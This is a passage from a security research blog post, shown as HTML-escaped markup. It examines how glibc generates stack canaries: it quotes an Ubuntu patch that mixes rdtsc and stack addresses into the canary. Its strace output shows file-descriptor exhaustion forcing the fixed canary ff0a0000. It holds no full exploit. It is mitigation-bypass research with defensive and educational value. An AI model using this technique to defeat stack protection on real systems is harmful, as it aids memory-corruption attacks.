0xf0f07000&lt;br /&gt;
0xe21af000&lt;br /&gt;
0xf1b57000&lt;br /&gt;
0xb71f000&lt;br /&gt;
0x1c0d7000&lt;br /&gt;
&lt;strong&gt;0xe9f5f000&lt;br /&gt;
0xe832f000&lt;br /&gt;
0xe8f1f000&lt;br /&gt;
0xed26f000&lt;br /&gt;
0xee4b7000&lt;/strong&gt;&lt;br /&gt;
0x83cf000&lt;br /&gt;
0xeb1e7000&lt;br /&gt;
0xc0c7000&lt;br /&gt;
0xf9f4f000&lt;br /&gt;
..&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Some modification is happening on the terminator canary.&lt;/p&gt;
&lt;p&gt;If we get libc6 along with glibc_2.9-4ubuntu6.3.diff and inspect the patch, we see the following lines added within dl-osinfo.h : &lt;/p&gt;
&lt;p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;@@&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;77&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;80&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;31&lt;/span&gt; &lt;span class=&quot;err&quot;&gt;@@&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;   &lt;span class=&quot;kt&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;p&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ret&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;   &lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;sizeof&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ret&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;255&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;   &lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;sizeof&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ret&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sc&quot;&gt;&apos;\n&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ifdef&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;HP_TIMING_NOW&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;  &lt;span class=&quot;n&quot;&gt;hp_timing_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;hpt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;  &lt;span class=&quot;n&quot;&gt;HP_TIMING_NOW&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hpt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;  &lt;span class=&quot;n&quot;&gt;hpt&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hpt&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0xffff&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;  &lt;span class=&quot;n&quot;&gt;ret&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;^=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;hpt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;endif&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;  &lt;span class=&quot;kt&quot;&gt;uintptr_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;stk&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;  &lt;span class=&quot;cm&quot;&gt;/* Avoid GCC being too smart.  */&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;  &lt;span class=&quot;n&quot;&gt;asm&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;=r&quot;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;stk&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;r&quot;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;  &lt;span class=&quot;n&quot;&gt;stk&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;=&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x7ffff0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;__BYTE_ORDER&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;__LITTLE_ENDIAN&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;  &lt;span class=&quot;n&quot;&gt;stk&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;__WORDSIZE&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;23&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;elif&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;__WORDSIZE&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;64&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;  &lt;span class=&quot;n&quot;&gt;stk&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;31&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;endif&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;  &lt;span class=&quot;n&quot;&gt;ret&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;^=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;stk&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;  &lt;span class=&quot;cm&quot;&gt;/* Avoid GCC being too smart.  */&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;  &lt;span class=&quot;n&quot;&gt;p&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;errno&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;  &lt;span class=&quot;n&quot;&gt;asm&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;=r&quot;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;stk&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;r&quot;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;  &lt;span class=&quot;n&quot;&gt;stk&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;=&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x7fff00&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;__BYTE_ORDER&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;__LITTLE_ENDIAN&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;  &lt;span class=&quot;n&quot;&gt;stk&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;__WORDSIZE&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;29&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;  &lt;span class=&quot;n&quot;&gt;stk&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;endif&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;  &lt;span class=&quot;n&quot;&gt;ret&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;^=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;stk&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;   &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ret&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;      &lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;This patch is XORing the value of ret (terminator value) with the current CPU tick counter (taken from rdtsc). Then the array&apos;s (p) address is used (as additional entropy) and the rest can be replicated by us, so the patch adds some fair and cheap trickery (&lt;a href=&quot;http://www.mail-archive.com/debian-glibc@lists.debian.org/msg42655.html&quot;&gt;poor man&apos;s randomisation&lt;/a&gt;) - *while I was writing this post, &lt;a href=&quot;http://vexillium.org/dl.php?/Windows_Kernel-mode_GS_Cookies_subverted.pdf&quot;&gt;this&lt;/a&gt; was published, which shows that windows kernel mode canary generation is similar to the above.&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;To make sure that a glibc version without the stack-guard-quick-randomization.diff applied is giving ff0a0000 (even though we can confirm this with strace), we recompile glibc without this patch. This will save us some time of looking around to find a distro without this patch applied (we just comment out all XOR operations).&lt;/p&gt;
&lt;p&gt;So lets run pp again :&lt;br /&gt;
&lt;code&gt;manos@jaunty:~/p/ke$./pp&amp;amp;&lt;br /&gt;
Start Exhaustion Loop&lt;br /&gt;
.&lt;br /&gt;
.&lt;br /&gt;
.&lt;br /&gt;
[b80a70d4] open(&quot;/etc/ld.so.cache&quot;, O_RDONLY) = 0&lt;br /&gt;
[b80a70d4] open(&quot;/lib/tls/i686/cmov/libc.so.6&quot;, O_RDONLY) = 0&lt;br /&gt;
[b80a7154] read(0, &quot;\x7f\x45\x4c\x46\x01\x01\x01\x00..&quot;..., 512) = 512&lt;br /&gt;
[b80a70d4] open(&quot;/dev/urandom&quot;, O_RDONLY) = 0&lt;br /&gt;
[b80a7154] read(0, &quot;\x17\x7f\x77&quot;..., 3) = 3&lt;br /&gt;
Cookie [%gs:0x14=777f1700]&lt;br /&gt;
[b7f7e0d4] open(&quot;/etc/ld.so.cache&quot;, O_RDONLY) = 3&lt;br /&gt;
[b7f7e0d4] open(&quot;/lib/tls/i686/cmov/libc.so.6&quot;, O_RDONLY) = 3&lt;br /&gt;
[b7f7e154] read(3, &quot;\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\...&quot;..., 512) = 512&lt;br /&gt;
[b7f7e0d4] open(&quot;/dev/urandom&quot;, O_RDONLY) = 3&lt;br /&gt;
[b7f7e154] read(3, &quot;\x70\xec\x1e&quot;..., 3) = 3&lt;br /&gt;
Cookie [%gs:0x14=1eec7000]&lt;br /&gt;
[b80f10d4] open(&quot;/etc/ld.so.cache&quot;, O_RDONLY) = 0&lt;br /&gt;
[b80f10d4] open(&quot;/lib/tls/i686/cmov/libc.so.6&quot;, O_RDONLY) = 0&lt;br /&gt;
[b80f1154] read(0, &quot;\x7f\x45\x4c\x46\x01\x01\x01\x00\x00...&quot;..., 512) = 512&lt;br /&gt;
[b80f10d4] open(&quot;/dev/urandom&quot;, O_RDONLY) = 0&lt;br /&gt;
[b80f1154] read(0, &quot;\x64\x95\xb7&quot;..., 3) = 3&lt;br /&gt;
Cookie [%gs:0x14=b7956400]&lt;br /&gt;
[b808a0d4] open(&quot;/etc/ld.so.cache&quot;, O_RDONLY) = 3&lt;br /&gt;
[b808a0d4] open(&quot;/lib/tls/i686/cmov/libc.so.6&quot;, O_RDONLY) = 3&lt;br /&gt;
[b808a154] read(3, &quot;\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00...&quot;..., 512) = 512&lt;br /&gt;
[b808a0d4] open(&quot;/dev/urandom&quot;, O_RDONLY) = -1 ENFILE (Too many open files in system)&lt;br /&gt;
&lt;strong&gt;Cookie [%gs:0x14=ff0a0000]&lt;/strong&gt;&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;Overshoot FDs - exiting&lt;br /&gt;
&lt;/code&gt;&lt;br /&gt;
&lt;strong&gt;We are now certain that a simple File Descriptor exhaustion bug can assist in disabling canary stack randomisation.&lt;/strong&gt; It is worth mentioning that /dev/urandom was dropped mainly on performance and not security implications of FD hijacking or shortage. &lt;/p&gt;
&lt;p&gt;As this post is focused on disabling the ENABLE_STACKGUARD_RANDOMIZE we are not going to analyse ways of guessing/determing  stack-guard-quick-randomization.diff entropy points, however going back to the patched version and based solely on visual canary value observations, we can see that we significantly reduced the canary space from 16777215  to almost 65535. &lt;strong&gt;rdtsc&lt;/strong&gt; can be predicted with some decent accuracy in a low/medium usage uniprocessor systems, during non-context switched execution, but we save this for another time.&lt;/p&gt;
&lt;p&gt;
Below is a simple patch for strace - which prints rdtsc at each &quot;syscal exit&quot; (trace_syscall_exiting) - &lt;em&gt;It is not accurate but it can be used for roughly observing tick jumps&lt;/em&gt;&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&lt;span class=&quot;o&quot;&gt;---&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;syscall&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;c&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;+++&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;syscall&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;c&lt;/span&gt;
&lt;span class=&quot;err&quot;&gt;@@&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;109&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;7&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;109&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;7&lt;/span&gt; &lt;span class=&quot;err&quot;&gt;@@&lt;/span&gt;
 &lt;span class=&quot;cp&quot;&gt;#define TN TRACE_NETWORK
&lt;/span&gt; &lt;span class=&quot;cp&quot;&gt;#define TP TRACE_PROCESS
&lt;/span&gt; &lt;span class=&quot;cp&quot;&gt;#define TS TRACE_SIGNAL
&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;define&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;HP_TIMING_NOW&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Var&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;__asm__&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;__volatile__&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;rdtsc&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;=A&quot;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Var&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
 &lt;span class=&quot;k&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sysent&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sysent0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
 &lt;span class=&quot;cp&quot;&gt;#include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&quot;syscallent.h&quot;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;
&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
&lt;span class=&quot;err&quot;&gt;@@&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2520&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;7&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2520&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt; &lt;span class=&quot;err&quot;&gt;@@&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;long&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;tv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;tv_sec&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;long&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;tv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;tv_usec&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;err&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;printtrailer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;   &lt;span class=&quot;n&quot;&gt;HP_TIMING_NOW&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hpt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;   &lt;span class=&quot;n&quot;&gt;tprintf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot; rdtsc : %lld   &quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hpt&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;dumpio&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;tcp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;fflush&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;tcp&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;outf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;EOF&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;/p&gt;
&lt;p&gt;The output of strace with the rdtsc out is :&lt;br /&gt;
&lt;code&gt;execve(&quot;./m&quot;, [&quot;./m&quot;], [/* 20 vars */]) = 0&lt;br /&gt;
		 rdtsc : 170812617327520   brk(0)                                  = 0x9a62000&lt;br /&gt;
		 rdtsc : 170812617944640   access(&quot;/etc/ld.so.nohwcap&quot;, F_OK)      = -1 ENOENT (No such file or directory)&lt;br /&gt;
		 rdtsc : 170812618580380   mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb8083000&lt;br /&gt;
		 rdtsc : 170812618926180   access(&quot;/etc/ld.so.preload&quot;, R_OK)      = -1 ENOENT (No such file or directory)&lt;br /&gt;
		 rdtsc : 170812619351780   open(&quot;/etc/ld.so.cache&quot;, O_RDONLY)      = 3&lt;br /&gt;
		 rdtsc : 170812619758760   fstat64(3, {st_mode=S_IFREG|0644, st_size=50808, ...}) = 0&lt;br /&gt;
		 rdtsc : 170812620131160   mmap2(NULL, 50808, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb8076000&lt;br /&gt;
		 rdtsc : 170812620421100   close(3)                                = 0&lt;br /&gt;
		 rdtsc : 170812620785520   access(&quot;/etc/ld.so.nohwcap&quot;, F_OK)      = -1 ENOENT (No such file or directory)&lt;br /&gt;
		 rdtsc : 170812621126000   open(&quot;/lib/tls/i686/cmov/libc.so.6&quot;, O_RDONLY) = 3&lt;br /&gt;
		 rdtsc : 170812621530320   read(3, &quot;\177ELF\1\1\1\3\3\1\320h\1004&quot;..., 512) = 512&lt;br /&gt;
		 rdtsc : 170812621830900   fstat64(3, {st_mode=S_IFREG|0755, st_size=1442180, ...}) = 0&lt;br /&gt;
		 rdtsc : 170812622221920   mmap2(NULL, 1451632, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb7f13000&lt;br /&gt;
		 rdtsc : 170812622559740   mprotect(0xb806f000, 4096, PROT_NONE)   = 0&lt;br /&gt;
		 rdtsc : 170812622852340   mmap2(0xb8070000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x15c) = 0xb8070000&lt;br /&gt;
		 rdtsc : 170812623144940   mmap2(0xb8073000, 9840, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb8073000&lt;br /&gt;
		 rdtsc : 170812623490740   close(3)                                = 0&lt;br /&gt;
		 rdtsc : 170812623831220   mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7f12000&lt;br /&gt;
		 rdtsc : 170812624230220   set_thread_area({entry_number:-1 -&amp;gt; 6, base_addr:0xb7f126c0, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0&lt;br /&gt;
		 rdtsc : 170812624568040   open(&quot;/dev/urandom&quot;, O_RDONLY)          = 3&lt;br /&gt;
		 rdtsc : 170812624900540   read(3, &quot;\247\33&apos;&quot;, 3)                  = 3&lt;br /&gt;
